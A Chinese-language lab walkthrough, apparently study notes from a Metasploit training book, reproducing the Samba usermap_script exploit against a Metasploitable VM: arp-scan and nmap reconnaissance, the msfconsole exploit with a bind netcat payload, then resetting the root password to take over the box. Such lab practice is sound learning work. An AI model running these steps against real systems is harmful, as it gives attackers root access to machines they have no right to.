实验环境:(参考Metasploit渗透测试魔鬼训练营(第一章samba漏洞复现)2.2的环境搭建)
攻击机 BT5R3-GNOME(ip 10.10.10.128)
后台服务器(ip 10.10.10.130)
靶机 Metasploit_ubuntu(ip 10.10.10.254)
一.主机发现
arp-scan -l #扫描同一网段下的主机
二.漏洞扫描
nmap 扫描
nmap 10.10.10.128 -p- -sV -sS -T4 -A 命令混合扫描
-p-代表全端口扫描
-sV端口所运行的软件和版本探测
-sS SYN半开放式扫描
-T4 探测等级4
-A 包含了1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测
samba端口通常为445
后台服务器上运行Oracle数据库、FTP文件共享及邮件等服务 所以需要开启后台服务器(10.10.10.130)
补充知识
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
这里在msfconsole调用nmap
nmap -p 445 -sV 10.10.10.254
在端口显示被filtered的情况下,要想确定一个端口是否是开放的,通常可结合-sT和-sS、-sF等联合判断,如上图445端口在sT扫描的情况下,显示被过滤,在sF的扫描中显示open|filtered,则表明端口是开发的。所以此时445端口开放
三.漏洞利用
msfconsole进入控制台
search samba 寻找相应的模块
use exploit/multi/samba/usermap_script
选择此渗透攻击模块
选择模块时选择excllent进行渗透成功率高
show payloads 查看与该渗透攻击模块相兼容的攻击载荷
set cmd/unix/bint_netcat
即利用netcat工具在渗透攻击成功后执行shell
并通过netcat绑定在一个监听端口上
show options 查看需要设置的参数
set RHOST 10.10.10.254
RHOST受害机IP,LHOST攻击机IP
exploit 启动
MSF终端回显commmand shell session 1 opened的成功信息
这时可以输入一些shell命令
利用uname-a whoami
查看你所控制的目标主机的操作系统类型以及你所拥有的用户账户类型
以下利用passwd root重设root密码
四.远程连接靶机
root
123456
成功!